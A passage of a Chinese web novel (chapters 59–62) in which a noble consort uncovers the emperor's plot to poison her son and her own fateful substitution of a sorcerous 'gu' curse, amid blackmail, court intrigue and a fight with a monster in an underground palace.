慕酌眼神一凛,电光火石间,一把拉住反应迟钝、险些被坠石砸中的神女,疾步向一侧石壁凹陷处躲去。神女手臂冰冷僵硬,触感不像活人。
就在这地动山摇、乱石崩云之际,一个阴恻恻、带着慵懒戏谑与深入骨髓残忍的声音,如同湿滑毒蛇,从洞窟更深那片被绿光映得光怪陆离的阴影中,悠悠传来:
“呵呵……真是稀客。两只不小心闯进厨房的小老鼠。"
“跑到我的丹房里,是想……陪我玩玩吗?”
声音不高,却奇异地穿透了落石轰鸣与空间震颤,清晰响在耳边。
那绝对掌控者猫捉老鼠般的从容与恶意,让慕酌背脊瞬间绷紧如铁。
他感受到了自踏入地宫以来,最直接、最浓烈的死亡危机。
59. 猜疑
皇宫地面之上,因大皇子的骤然失控与慕酌、神女的坠入地宫,已乱作一团。惊呼、奔逃、甲胄碰撞声交织,人人脸上都写着恐惧与无措。
然而,在这片混乱之中,有一人虽也面色苍白,指尖深掐入掌心,但那眼神深处一闪而过的,并非全然是惊惧,而是一种近乎绝望的、洞悉了某种可怕真相后的震颤。
是长春宫主位,大皇子的生母,晨贵妃。
她的失态仅有一瞬,随即被强行压下的冰冷所覆盖。
目光似不经意地扫过混乱的人群,最终,落在了角落里一个试图借着人群掩护,悄悄向宫墙阴影处挪动的宫女身上。
那宫女身形纤细,步履看似匆忙却带着一种刻意压制的慌张,尤其引人注目的是她紧紧捂在袖口的手,仿佛那里藏着什么灼热的东西,让她既不敢松开,又唯恐被人发现。
贵妃眼神微眯,并未声张。
她认得那宫女,是近来颇得皇后眼缘的一个小秀女身边伺候的人。
此刻她袖中藏匿的,绝非寻常之物。
贵妃心中冷笑,皇后终究是按捺不住了,借那蠢钝秀女之手行此龌龊之事,那袖中之物,恐怕就是准备栽赃陷害,或是直接对她下毒的“证据”吧?
只是,眼下这混乱,倒成了这宫女转移赃物的最佳时机。
可惜,现在皇帝助长皇后的气焰,就算明知是毒,自己也必须咽下去,否则徒引皇帝猜忌。
贵妃恨恨地咬着牙。
这宫女的一举一动,也并未逃过另一双隐藏在暗处的眼睛。
片刻后,当朝一位以权谋深沉著称的重臣府邸内,心腹侍卫正低声禀报:“……那宫女形迹可疑,袖藏异物,似欲趁乱潜出长春宫范围,看方向,像是要去……废弃的沁芳苑。”
暗处的大臣指尖轻叩桌面,眼神幽深。
皇宫里的每一丝异动,都可能是搅动风云的引子。
“盯紧她,看她与谁接触。另外,宫里现在都在议论什么?”
侍卫回道:“众人皆惊骇于大皇子殿下何以……变成那般模样,私下都在猜测殿下是否中了邪,或是得了离魂之症。”
话语中,带上几分对皇室秘辛的探究与恐惧。
大臣嘴角勾起一丝不易察觉的弧度。
疯了?中邪?
这宫墙之内,哪一桩疯魔背后,不是浸透了阴谋与算计?
他想起了多年前的一桩旧案,那时贵妃初入宫,圣眷正浓,其家族却因一桩莫须有的通敌案骤然倾覆。
据说……是陛下亲自下的令,只为绝了贵妃与外戚的牵连,让她只能全心全意依靠自己。
当时陛下是如何对悲痛欲绝的贵妃说的?似乎是……“朕必会补偿于你,我们的孩子,将来必承大统。”
补偿?承继大统?
大臣眼底闪过一丝冷嘲。
若陛下当年连那般情深都可以用作欺骗的筹码,那他对这个流淌着贵妃家族血脉的皇子,又能有几分真心?
如今这“疯病”……恐怕未必是天灾。
与此同时,长春宫内,贵妃倚在榻上,脸色是真的难看。
她确实中了招,皇后借秀女之手送来的那盒“养颜膏”里,掺了极阴寒的损身之物,让她这几日心悸气短。
加之皇上遇刺、皇子失控,急火攻心之下,竟是病倒了。
皇帝听闻贵妃抱病,在经历刺杀惊魂后,竟难得抽空前来探望。
看着爱妃憔悴容颜,皇帝握着她的手,语气带着一丝久违的温和与回忆:“爱妃宽心,定会无恙。想起你刚入宫时,那般明艳活泼,就像……”
他话语微顿,似是想起了什么,眼底掠过一丝极复杂的情绪,最终化为一声轻叹,
“……就像那年围猎,你执意要救那只受伤的白狐,朕还说你这般心软,如何在这宫中立足。”
“不打扰你了,你安心养病。”
这本是一句带着怜惜的感慨,听在心神已乱、满是猜疑的贵妃耳中,却如同惊雷炸响!
贵妃送走皇上,起身跌坐在榻上。
白狐?她何时在围猎时救过白狐?
她自幼畏血,更不喜狩猎!
倒是……倒是她的兄长,曾在她入宫前一年的皇家围场中,救下一只罕见的雪狐,还因此被陛下随口夸赞过一句“仁善”……
一个可怕的念头如同毒藤般瞬间缠紧了她的心脏!
陛下他……他是不是将她与家族其他人的事情记混了?
不知道陛下这是什么意思,可能,嗑药嗑傻了。
贵妃敷衍的笑笑。
他当年所以为的“她”,根本就是基于某些错误的、或者说……是刻意营造的信息。
而这位皇帝陛下也是一样,初见君子之风,温文尔雅,两个人的见面却满是算计。
不过,如果连初见的印象都是假的,那么后来的深情,家族的覆灭……她不敢再想下去!
若陛下当年真是以虚假的深情和彻骨的欺骗,将她家族作为稳固权力的踏脚石,那么,他对自己这个带着“污点”血脉的孩子,又会如何?
联想到皇子近日来的异常,那偶尔流露出的痛苦眼神,那不受控制的力量……一个更恐怖的猜想浮上心头:
蛊!是不是陛下暗中下了控制心智甚至催发力量的邪蛊,要将他们的孩子变成一个只知杀戮、最终会“合理”消亡的怪物?!
这念头让她如坠冰窟,浑身血液都凉了。
她必须救自己的孩子!
她猛地想起多年前,曾有一云游道士偶然入宫,言谈间似对南疆蛊术颇有见解,当时只觉怪力乱神,不过她还是亲手……
如今却成了唯一的救命稻草!
那道士行踪不定,但她记得似乎与京郊某处道观有过往来。
贵妃强压下几乎要破胸而出的恐慌,必须以最隐秘的方式找到那人!
陛下虽追求长生,默许一些丹术,但绝不容许后宫行巫蛊之事,尤其还是针对皇子!
一旦事发,她与孩子都将万劫不复。
不管皇帝是不是知道什么,又或者拿着不能下蛊的幌子自己却这样铲除异己,眼下,她必须先解了孩子身上的毒!
她唤来绝对心腹的老太监,声音压得极低,带着不容置疑的决绝:
“想办法,动用一切暗线,找到那位曾提及‘同心蛊’的云游道长……要快,要绝密!”
每一字都像是从牙缝中挤出,带着孤注一掷的颤抖。
就在她因恐惧和决心而浑身发冷,思绪纷乱如麻,不知从何着手寻找那渺茫的希望,更不知孩子
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此刻在何处承受着怎样的痛苦时。
寝殿角落的阴影里,仿佛与黑暗融为一体的帷幔微微动了一下。
一个低沉的、几乎不似人声的嗓音,如同耳语般直接送入她的耳中:
“想知道殿下何在,想解‘血噬’之蛊……寅时三刻,冷宫废井旁。”
声音戛然而止,仿佛从未出现。
贵妃骇然失色,猛地坐直身体,心脏狂跳,几乎要撞出胸腔。
是谁?!
是陛下的试探?还是……其他窥破秘密的人?这无疑是一个陷阱,一个她可能踏入就无法回头的深渊。
然而,那句“血噬之蛊”像一把钥匙,精准地打开了地狱之门。
她想起孩子偶尔手腕内侧浮现的、如同活物蠕动的诡异血线……那侍卫的低语,与这阴影中的声音,似乎指向了同一个可怕的真相。
为了孩子……哪怕前方是刀山火海,是万丈深渊,她也必须去!
夜色深沉,宫漏滴答,如同催命的符咒。寅时三刻,冷宫废井,那弥漫着腐朽与绝望气息的地方。
等待她的,将是揭开一切残酷真相的序幕,还是彻底毁灭的终章?
而此刻的地宫中,危机四伏,那不知从何处出来的人,准确来说,不能用“人”这个字来形容。
那是一个浑身长满绿毛的怪物,慕酌护着“神女”,不让那非人的东西靠近。
“哈哈哈,两只小老鼠,来这里干什么?哈哈哈哈哈哈,是不是要窥探我长生,你们是探子?”
“哈哈哈,逗你们的,就是和你们打个招呼,来啊来,现在请你们去死一下!”
真是个疯子!
慕酌皱了一下眉,看着边依旧神志不清的神女,可来不及等他反应,那怪物长啸一声,周围的石块几乎是飞速地滚落下来,就要朝着两个人脑袋上砸去。
慕酌捞着旁边的人,借着这股力道和宛楪滚落到一旁,两个人身上沾满了地上的砂石和尘土。
“呦,有趣的小老鼠,居然还会连滚带爬!来吧来吧,死在这里!”
那个怪人又发出一连串的讥讽,而脑袋上的山体石壁竟然也开始裂开,变成碎石块将两人埋没。
“哈哈哈,我说什么来着,你们,会死在这里!”
怪物呜啊我啊地走了,大概是觉得两人必死无疑,而慕酌此刻举着一个长的石头挡在两人头上,应对那些不断堆压地石块,显得有些力不从心。
突然,慕酌吃力,长石块狠狠下压,在他没有注意的地方,石块一端砸向宛楪的脑袋,连带着上面的碎石一起,连着两下。
而他更没有注意的是,刚才神情还有些冰冷木讷的人,眼睛居然开始闪烁,似乎要恢复生机。
“六校尉,你要真的是我的校尉,别的不说,倒是给我帮帮忙啊!”
慕酌没打算有人能回复他,毕竟这位北国神女虽然长得和六校尉差不多,但是全程一点人气都没有,但是令他惊悚的是,他旁边的人说话了。
“帮了,你能给我什么?”
“你……”
慕酌惊悚的回头看一眼,却发现那人眼睛不似初见一样诡异的红,整个人似乎变得……
有人气了一些。
“我给你我的命,你要吗?”慕酌随口开了一句玩笑。
60. 寻人
“陛下!陛下!”一名内监连滚爬来,声音尖利。
“贵妃娘娘…娘娘听闻惊变,旧疾复发,呕血不止!太医…太医都去了长春宫!”
皇帝混沌的眼珠转动一下,他喃喃道:
“呕血?她…她身子一向弱…当年…当年生皇儿时便落了病根…”
他恍惚间,漏出一句,“若非…若非为了固……”
但估计是因为大皇子两次刺杀,惹得龙颜有些不悦。
皇帝最后撂下一句,“随她吧,最好死了”
听着太监传的话,贵妃猛地攥紧丝帕,指尖冰凉。
夫妻三十载,最后自己就落了一个“最好死了”。
说不寒心那是假的,贵妃有些自嘲的笑了笑。
不过她很快就敏锐地捕捉到了皇帝,话语中的……
固宠?
当年那碗药…难道是…陛下默许?
甚至…?她呼吸骤然停止,浑身血液冻住般冰冷!
不!不可能!她猛地摇头,珠翠乱响。可那个念头如同毒藤疯狂缠绕心脏。
如果陛下早知道…如果那碗药本就是…那她的皇儿今日癫狂……!
她必须找到那个云游道士!必须问清楚!
她暗中对心腹宫女使了个眼色,宫女悄然退下,手心紧握着一枚能出宫的令牌,脚步又快又轻,如同惊弓之鸟。
可她未曾留意,暗处另一双眼睛始终盯着她的一举一动。
那身影悄无声息地尾随宫女一段,随即转身,快速穿过残破的回廊,来到一处相对僻静的偏殿廊下。
李琰正“虚弱”地靠在廊柱下喝着水,听那身影低声快速禀报了几句。
他眼神未变,只极轻地颔首,指尖在杯沿摩挲了一下。
随即他的目光落在庭院中心,那里也是慕酌和“神女”掉下去的方向。
有意思的对手呢。
李琰笑了笑,将杯中的茶一饮而尽。
而此刻的长春宫内,药味苦涩。
贵妃倚在榻上,脸色灰败,心腹宫女迟迟未归,每一秒等待都如同凌迟。
窗棂忽被轻叩三下。
她惊坐起,哑声道:“谁?”
门外传来低哑回应:“娘娘…您要找的人…有消息了…在西苑废井旁…”
贵妃心脏狂跳,也顾不得许多,披上斗篷,悄无声息地溜出宫殿,朝着冰冷的西苑废井方向跌跌撞撞地奔去。
枯枝败叶在脚下碎裂,发出刺耳声响。月光被枯枝切割得支离破碎,洒在荒草萋萋的废园里。
井边,一个黑影背对着她,负手而立。身形挺拔,透着陌生的阴冷。
“道长?”贵妃颤声问道,心跳如擂鼓。
那黑影缓缓转过身。月光照亮他半张脸。
苍白,俊秀,眼底却翻滚着刻骨的怨毒与冰寒。
根本不是云游道士!
贵妃瞳孔骤缩,倒吸一口凉气,几乎瘫软在地,手指颤抖地指着他。
“是…是你?!你怎么会…你不是已经…”
李琰,或者说,北国十三皇子李琿,嘴角勾起一丝冰冷扭曲的弧度,声音轻柔却如毒蛇吐信。
“娘娘…别来无恙?哦,忘了,您如今凤体欠安。”
他一步步逼近,阴影将贵妃完全笼罩:
“看见我还活着,娘娘似乎…很失望?”
贵妃浑身发抖,语无伦次:“不…不是我…当年那场火…”
“那场火怎么了?”
李琿打断她,声音骤然变得尖利,“就像您当年给您亲儿子下那‘无忧散’一样,都是被逼的?都是为了贵妃之位?”
他俯下身,冰冷的气息喷在贵妃脸上:
“我的好姨母,您连亲生骨肉都能亲手种下蛊毒,就为了固宠,为了扳倒皇后…那当年为了灭口,一把火烧死知道你秘密的亲姐姐,是不是…也更顺手了些?”
“不!不是的!你胡说!”
贵妃尖叫起来,精神几近崩溃,“我没有!是陛下!陛下他暗示我的!他说只要皇儿‘听话’…他说…”
“他说什么?”
李琿猛地掐住她的下巴,力道大得几乎要捏碎骨头,眼底血红。
“说啊!他说了什么,让你心甘情愿给自己儿子喂毒?!又说了什么,让你诬陷我母妃巫蛊厌胜,将她逼死冷宫?!”
贵妃涕泪横流,妆容花乱,拼命摇头:“我不知道…我什么都不知道…放过我…琿儿…看在我抚养过你几年的情分上…”
“情分?”
李琿松开手,任由她瘫软在地,语气恢复死寂般的冰冷。
“从你看着我母妃含冤自缢,从你把我当成一条狗扔进废苑自生自灭那天起,我们就只剩仇了。”
他蹲下身,拾起地上枯枝,用尖端轻轻划过贵妃颤抖的脖颈:“现在,给你两个选择。”
枯枝的冰冷刺痛肌肤,贵妃僵住,不敢动弹。
“一,”
李琿的声音如同地狱传来。
“我把你给你亲儿子下蛊,还有你当年如何构陷我母妃的证据,送到陛下面前。”
“你说,一个失去了‘听话’儿子、又最恨被人欺骗的皇帝,会怎么对待你这颗棋子?”
贵妃面无人色。
“二,”
李琿握着枯枝尖端微微用力,留下一道红痕,“你去杀了皇后。或者…想办法让陛下,‘安心’地龙御归天,就说长生了。”
最后这五个字说出来更像是毒蛇在耳边私语。
他凑近她耳边,如同情人低语,却字字淬毒:“选一个吧,我亲爱的…姨母。”
夜枭凄厉的叫声划破西苑的死寂。
贵妃瘫在冰冷的荒草中,望着眼前这张俊美却如同恶鬼的脸,浑身血液都凉透了。
他盯着她彻底破碎的眼神,补充道:
“别忘了,你那变成怪物的好儿子,现在只有我知道他在哪里。想让他活,就按我说的做。”
月光下,李琿的身影如同索命的修罗。
贵妃瘫在冰冷的荒草中,除了绝望的颤抖,已做不出任何反应。
怎么会……
怎么会是这样?!
贵妃跌跌撞撞地回到寝宫,整个人头发蓬乱,面无血色,没有人的样子。
“娘娘,娘娘,您这是怎么了?”
小宫女着急的扶住自己的主子,“可是有什么消息可以救皇子吗?”
贵妃摆了摆手,眼神空洞,喃喃地重复着。
“完了……完了……一切都完了……”
突然她口吐鲜血,直接倒地不省人事。
“娘娘!”
本来为了能出宫,贵妃近日一直没有服用补气的药,就为了皇帝陛下能对她有几分心疼。
本来还以为还可以让皇上对自己的印象更深。
可是现在呢?
那个所谓的云游道士,是自己曾经侮辱对待的姐姐的孩子。
至于他是不是那个道士已经不重要了。
能拿到和贵妃的信号,并且出现在那,多半那个云游道士,就算不是他,也是在他的手上。
她除了听那位的,几乎没有别的选择。
没有服用药物,加上心急突发,贵妃真真切切的晕死了过去。
几个低等嫔妃瑟缩在角落,窃窃私语声却清晰可闻:
“听说了吗?长春宫那位突然就厥过去了!”
“可不是,吐了好大一口黑血!脸色骇人…”
“真是报应…前几日她还克扣了各宫的用度,说是要添置炼丹的香料…”
“嘘!小声点!谁知道是不是…那位的手笔?”
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>声音压得更低,目光畏惧地瞟向皇后宫苑的方向。
一个穿着不起眼青灰色宫装的婢女,低着头,脚步又快又轻,几乎贴着墙根疾走。
她手里紧紧攥着一个空了的甜白瓷炖盅,指节因用力而泛白。
经过慕酌和李琰身边时,她下意识将炖盅往袖子里更深地藏了藏,脚步更快了几分,迅速消失在通往御厨房的拐角。
太医院院判冷汗涔涔,手指搭在贵妃苍白腕间,眉头紧锁。
殿内弥漫着浓重的金疮药味和从贵妃那边飘来的、一丝若有若无的苦涩毒腥气。
而那位说着“好心”来看看自己爱妃的皇帝,忽然低笑出声,笑声干涩沙哑。
在这死寂的殿中显得格外刺耳。
他侧过头,阴冷的目光落在贵妃身上,如同打量一件即将废弃的旧物。
两次宫中的刺杀,再加上皇后给他吹的耳边风。
他现在看着这位曾经盛宠不衰的贵妃,满是厌恶和愤怒。
“爱妃这副模样…倒让朕想起你父亲离京时的样子…也是这般…半死不活。”
他语调缓慢,字字却带着针尖般的恶意。
“你们柳家…当年若非朕格外开恩,早已满门抄斩。竟还不知足,养出个这般…不知死活的好儿子。”
刚从巨大冲击中缓过来的贵妃,眼睫剧烈颤动,艰难地睁开眼,眼中是生理性的泪水和巨大的痛楚。
她是真的昏迷了,也是真的身体不适,结果换来的也不是这位曾经丈夫的心疼。
而是比毒蛇扎人还要冰冷刺骨的恶语。
不仅失算,而且在皇后以及其他嫔妃的撺掇下,她不仅失去了封号,甚至现在很有可能是皇帝与她见的最后一面。
毕竟在她刚醒来的时候就听说,陛下拟了把她打入冷宫的旨意。
也是……
她养出这样的孩子……
可是,皇儿之前也是特别好特别好的孩子。
而一旁的皇帝可不管她这些心理活动,像是找到了宣泄口,语气愈发刻毒。
仿佛肩上的伤痛都化作了言语的利刃:
“朕给过他机会,让他安安分分做个废物皇子便好…可他偏偏要学他外祖家…生出不该有的心思!”
“竟敢弑君弑父!说!是不是你们柳家贼心不死,在背后撺掇他?!”
“不不,是他性子本来就是这样,早知道当年那件事情,我就不该留着他!”
“不…!皇儿绝不会!”
贵妃猛地激动起来,挣扎着想抬头,却被剧痛狠狠摁回枕上,声音破碎不堪。
“陛下!皇儿他是被人所害!他早年那般…那般…”
她想说“体弱温顺”,话语却猛地卡在喉咙里!
一个冰冷彻骨的念头瞬间攫住了她!
陛下为何一口咬定皇儿“悖逆”?
还有性子本来这样?
皇儿早年因“过于怯懦”甚至不得陛下青眼!
除非…除非陛下早知道皇儿会变?!知道那碗药…
极度的恐惧给了她一丝虚妄的力量,她嘶声追问,眼睛死死盯着皇帝。
“陛下!您为何认定皇儿悖逆?!他以前不是那样的!是不是…是不是因为当年那碗…”
“闭嘴!”
皇帝骤然暴怒,猛地一挥手臂,险些打翻一旁的药瓶。
伤口被牵动,剧痛让他面目扭曲,眼中爆射出疯狂与凶戾。
“是又如何?!不是又如何?!”
“朕是天子!朕要他生便生,要他死便死!你们柳家是!他也是!”
看着眼前曾经的枕边人暴怒的样子,贵妃加重了心中的想法。
当年她给皇儿的那碗药,不只是皇后,甚至皇帝都有可能动了手脚。
而自己不过是一直被蒙在鼓里!
61. 对峙
“呃…”皇帝抽着冷气,怨毒的目光猛地钉在贵妃身上,将所有惊惧与无能狂怒都倾泻而出。
“没用的东西!看看你生的好儿子!孽障!疯子!竟敢杀朕!你们柳家…你们柳家就没一个好东西!”
贵妃眼睫颤动,艰难地睁开眼,视线模糊,只有皇帝那张因暴怒而狰狞的脸。
“当年你爹就是个不知好歹的老顽固!”
皇帝骂得兴起,口不择言,仿佛要将多年的积怨一并喷出。
“朕让他交出兵权,是看得起他!他竟敢推三阻四!还有你那个好哥哥…在军中拉帮结派,怎么?想造反吗?!”
贵妃嘴唇翕动,想为家人辩解,却发不出声音。
皇帝像是找到了完美的发泄口,越说越激动,言语如同毒箭:
“要不是朕!要不是朕看在你还算听话的份上,给你们柳家一条生路,你们早就满门抄斩了!”
“你以为你那点小动作朕不知道?朕不过是懒得理会!”
他猛地喘了口气,似乎牵动了伤口,疼得他龇牙咧嘴,语气更加恶毒:
“朕不过是让人给你递了句话,说你‘病重需药’,你那蠢爹和傻哥哥就忙不迭地交了兵权滚出京城了!”
“呵…真是听话得紧!”
“难怪能生出今天这个敢弑君的疯子儿子!都是你柳家血脉里的劣根性!”
贵妃原本涣散的眼神骤然一凝!呼吸猛地急促起来!
但是很快她就把自己的震惊压了下去,毕竟,她早就知道了……
寝殿内,血腥与金疮药的气味纠缠不休,另一种甜腻中带着腐朽的气息。
自贵妃榻前丝丝缕缕渗出,那是她呕出的黑血未散尽的味道。
直到皇帝说起大皇子的那碗药……
烛火被风拉扯得忽明忽暗,将皇帝半张脸陷在阴影里,另外半张则泛着长期服用丹药后特有的青白死气。
贵妃猛地抬头,打断了他。
“陛下…”她声音嘶哑得如同破锣,挣扎着想撑起身,“您…您说那药…当年不是说是…是安神补身的…”
她在试探眼前这位“丈夫”。
不过皇帝好像是不想跟她废话了,冷冷的看着她。
“你说啊,说啊,到底是怎么回事?我的孩子到底怎么了?是不是有你的手笔!”
不该是这样的,不应该是这样的!
如果说皇后是一国之母,是这个皇宫中地位最高的,那她这位盛宠不衰的贵妃,就是最了解眼前这位的。
为什么会沉默?
这位皇帝早年不是皇帝,只是王爷的时候,最喜欢的事情就是把敌人逼到无路可退的时候,再告诉他残忍的真相。
当时她不过十几岁,就看到了这位皇帝的狠戾。
站在一旁看着他审讯,手中被掐出的满是血色的月牙。
而这个眼神,她曾经见过。
就是吞没北地王府时,告知北地王府,他做了什么?
导致北地王最后含恨而死,连眼睛都无法闭合。
而这个眼神她又看到了。
几乎是瞬间,她就确定了另外一件事情,如果想要靠皇帝把皇儿恢复正常,不可能了。
她不是没有察觉,只是一直不敢相信。
而让她相信的证据接连而至,皇儿变成怪物袭击宫殿的这两次,就像现实给她扇了狠狠的两个巴掌。
她必须要问清楚。
贵妃不顾自己的身体情况,猛然冲过去架住皇上的衣摆,“你说啊!”
皇帝似乎被她剧烈的反应惊动,从恍惚中回过神。
皇帝一把把贵妃的手甩开,看着眼前的人狠狠的摔回榻上,甚至继续口吐鲜血。
他没有丝毫的心疼和懊悔,只有满眼的不屑以及恶心。
眉头不耐地蹙起,因伤口疼痛而语气恶劣。
“陈年旧事…提它作甚!”
“有效便好!你看皇儿早年…多听话!”
他似乎不愿深谈,挥了挥没受伤的手,带着一种近乎残忍的漠然。
“朕累了,至于你,以后就在冷宫度日吧。”
看着皇帝马上转身欲走,贵妃嗤笑了一声,“你想不想知道,我那位好姐姐,怎么就有情人私通了!”
皇帝猛地转身,狠狠的盯着贵妃。
“你还真是不怕死,你的孩子出了那样的事情,朕都没有杀你,你居然还敢跟我提你那位好姐姐!”
“哈哈哈哈哈哈哈哈哈哈!!!”
贵妃发出一阵癫狂的笑,“因为姐姐不喜欢你,这后宫中所有的嫔妃都不喜欢你,你就是最窝囊的皇子,就像阴沟里面的老鼠害死了……”
啪!!
贵妃的脸上多了很深的红色掌印。
“闭嘴!”皇上颤抖的手,目眦欲裂,“你个贱人,你到底要说什么?看来我还是对你太好了,我就应该让你车裂而死,让你五马分尸,让你尸骨无存,被众人唾骂!”
皇帝狠狠的辱骂着眼前的这个人,恨不得世界上所有的酷刑都对她用一遍。
贵妃听到这些,身子不可抑制的瑟缩了一下,但还是迎着圣怒,“我说的有什么不对吗,外人都知道,你与姐姐伉俪情深,可是当年的事情,真的是你不知情?”
“我柳家的养女,到底是谁,还有我的孩子,为什么会被拿过去,你们两个到底安的是什么心?”
啪啪!!!!
贵妃的脸几乎就要被扇肿了,但是嘴还没有停下。
“我亲爱的皇帝陛下,你想不想知道永地王为什么能刺杀你成功,因为,是我报的信。”
皇帝胸腔不受控制的剧烈的抖动,似乎是已经被气急了。
本来顾念着柳家,在朝中仍有余威,当年大皇子的事情,自己心中也有愧疚,不然早就取了眼前这疯女人的命。
“你……”
皇帝手指着贵妃,“好得很呐!”
贵妃突然掩面哭泣,“可是我没有想到你没有死,反而是反而是我的姐姐,你为什么不去死呢!”
贵妃说的话是不是真的已经不重要了,皇帝气急,掀翻了旁边桌子上的碗盏。
手颤抖着指着贵妃,似是在想什么,更恶毒的话。
突然他好像是想到了什么一样,嗤笑一声。
眼前
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人很了解他,知道怎么能激怒他。
那他就不了解她了吗?
“你不就是想知道你的孩子到底怎么了吗,我告诉你。”
贵妃瞪大了眼睛,里面的泪水顺着脸颊滑落,但是却没有丝毫的退让,甚至眨眼。
她狠狠的盯着他,等着他接下来的话。
无论她刚才说的是不是真的,都已经足够激怒这位皇帝。
贵妃的眼睛不经意的瞟了一下窗外。
而这些话,不只是给这位皇帝听的。
“因为你的孩子他就不该降生,所以我就让他早点死了而已。”
贵妃的注意力被转移回皇帝的身上,哪怕已经有所猜想,但是听到真相,还是如弯刀割骨一般疼痛彻身。
“哈哈哈哈,来我慢慢跟你说!”
他喘着粗气,胸膛剧烈起伏,盯着贵妃瞬间灰败绝望的脸。
如同欣赏猎物最后的挣扎,语气带着一种丹药滋养出的、毫无人性的畅快:
“朕当年便该直接毒死他!”
“省得今日反噬自身!倒是你…竟敢暗中调换朕给的药?用了那赤蘑蛊?让他变成如今这副怪物模样…呵…你们柳家,果然从上到下,都是养不熟的狼!”
贵妃如同被无形的冰水从头浇下,浑身血液瞬间冻结!
“你也知道,我给你的那个药,看似是补药,实则是毒药,不过你没有想到吧,我给你的呢,是连圣医都救不回来的致命的药。”
皇帝叹了一口气,蹲了下来,“我本来以为可以给这个孩子一个痛快,毕竟他真的不该活着来到这个世上,而且还是一个男的”
“可你更狠,你给他下蛊,把它变成如今人不人鬼不鬼,弑父杀君的怪物和畜生!”
“不过,他狂化后确实帮了我很多,但是你不知道吧,我之所以让宫中所有的人都禁蛊,不是因为它会危害人的心智,也不是因为盈妃的死。”
“但是如果真的有人这么做,我就没有办法拿宫中那些人的命来炼丹做长生了。”
“毕竟对一个事情不了解的人,才不好插手。”
“但是你没想到吧,自从你怀上他的那一刻起,你所服用的营养汤里面,这全都是我和皇后给你下的毒。”
“可你偏偏选了赤魔蛊,赤魔蛊和你胎中所作用的毒素一起,她根本就活不过二十五岁,而且还要承受裂骨焚身,不能与至亲相守的苦。”
“也就有一个好处,他只能因为赤魔蛊而死,其他所有的毒对他都没有什么用。”
“你知道吗,是你亲手毁了……”
真相带来的冲击太大,耳朵里嗡嗡作响,皇帝后面的话变得模糊不清。
真的…真的是他!
这就是自己朝夕相伴三十多年的丈夫!
那每月月圆之夜的焚心蚀骨之痛…原来本该是死亡!
而那赤蘑蛊…那个云游道士说能让孩子变得强大,能抗住毒性,能活下去,只是会渐渐变得六亲不认…
她当时只觉得,只要能活下去,变得强大,能抗衡这无情的帝王,能保全柳家一丝血脉,哪怕孩子将来不认她,甚至…恨她,她都认了!
62. 机关算尽
可为什么…为什么会变成今天这样?变成一只只知杀戮的怪物?!
那道士骗了她?还是这赤魔蛊本就如此?!
她就是被一群人戏耍,害了自己孩子的蠢货。
巨大的悔恨、恐惧和对皇帝的恨意如同毒藤般瞬间绞紧了她的心脏!
她张着嘴,却发不出任何声音,只有眼泪混着额头的冷汗,疯狂涌出。
殿内烛火又爆开一个灯花,光线骤亮一瞬,映出皇帝脸上那混合着痛苦、愤怒和某种扭曲快意的神情,旋即又暗下去。
皇帝似乎耗尽了力气,也可能是觉得对一个将死之人宣泄完毕,只剩厌烦。
他挥挥手,如同驱赶苍蝇:“滚…都滚…没用的东西…”
宫人内侍把贵妃抬起来,扔入冷宫,留下贵妃独自躺在冰冷的黑暗里,身体无法控制地剧烈颤抖。
不是因为毒,而是源于灵魂深处的战栗和毁灭性的认知。
不行!她必须找到那个道士!
必须问清楚!赤蘑蛊到底是怎么回事?!
她的皇儿还有没有救?!
这个念头如同地狱中唯一的微光,支撑着她破碎的神智。
她死死咬住牙关,指甲抠进掌心,刺痛让她维持着最后的清醒。
冷宫殿内空旷,月光下,将贵妃惨白的脸映得明灭不定。
她僵在杂草中,浑身冰冷,仿佛血液都已凝固。
陛下的话…那“药”…“弱小”、“依赖生母”、“猛了点”…
每一个字都像一把淬毒的冰锥,狠狠凿开她尘封的记忆和一直以来的自欺欺人!
当年那碗让她亲手喂给孩儿、说是能让孩子“亲近父皇、稳固地位”的汤药…根本不是安神药!
而是…而是陛下口中那“猛了点”的药?!
所以皇儿后来体弱…所以他对她这个母妃异常依赖。
所以…所以他今日会变成那副疯狂模样?!
巨大的恐惧和背叛感如同冰冷的潮水,瞬间将她淹没!她指甲死死抠进身下的泥土。
记忆如同冰冷的毒蛇,缠绕上贵妃几乎停滞的心脏。
那一年,宫阙深深,皇帝的笑容却比冬日的寒风更刺骨。
他拿着那只精致的玉瓶,语气是她从未听过的“慈爱”与“担忧”。
“爱妃,朕知你忧心皇儿体弱。此乃海外进贡的‘赤玉髓’,最是温养根基。只是…药性特殊,每月需服一次,过程或许有些难熬,但为了皇儿的将来,忍一忍,嗯?”
那时,她已隐隐察觉陛下对柳家的忌惮日渐深重,父亲在朝中举步维艰。
她看着皇帝那双深不见底的眼睛,心底一片冰凉。
她根本不信这是什么“赤玉髓”!
那刻意强调的“难熬”,那瓶中药液隐隐散发的不祥气息…她几乎可以肯定,这是毒!
是陛下要彻底绝了柳家血脉的毒!
可她不能说破。母家已是岌岌可危,一旦撕破脸,便是万劫不复。
她颤抖着手接过玉瓶,脸上挤出感恩戴德的微笑。转身,却立刻暗中寻来了那个曾欠下柳家人情的云游道士。
道士验过药液,脸色大变:“娘娘…此乃绝嗣断肠之毒!每次发作如万蚁噬心,直至耗尽元气而亡!”
贵妃瘫软在地,最后一丝希望破灭。
果然…陛下是要他们死!
“可有…可有相似之物替换?”
她抓住道士的衣袖,如同抓住最后一根稻草,声音绝望。
“只要…只要前期症状相似!只要能让他活下去!无论变成什么样!本宫都要一试!”
道士沉吟良久,才艰难道:“有一物…名‘赤蘑蛊’,乃南疆秘术。”
“服下后,前期亦会呈现体弱绞痛之象,但此物霸道,会逐渐侵蚀神智,激发凶性,力大无穷…最终会变成只知杀戮的怪物,六亲不认…娘娘三思!”
“就用它!”贵妃几乎是立刻嘶吼出来,眼中是破釜沉舟的疯狂。
“变成怪物又如何?!力大无穷才好!才好对抗这要吃人的皇宫!才能活下去!”
只要活着,就有希望!就有报复的可能!
她偷偷换掉了药,忍着锥心之痛,看着自己的孩子每月“发作”,变得日益苍白虚弱,和她预想中毒发的情形一模一样。
她心如刀割,却更坚信皇帝要毒杀亲子。
她试图悄悄给母家传递消息,让他们小心陛下的清算。
然而,宫禁森严,她的消息尚未送出,惊天噩耗便已传来——
柳家被参奏拥兵自重,意图谋逆!证据“确凿”!
她疯了般想去求情,却被皇帝冷冷拒之门外。
只得到一句轻飘飘的:“念在柳家往日之功,死罪可免,活罪难逃。交出所有兵权,即刻滚出京城,永不召回!”
她当时只觉得天旋地转,认定这是陛下因为她“识破”毒计而进行的报复,是为了彻底斩草除根!
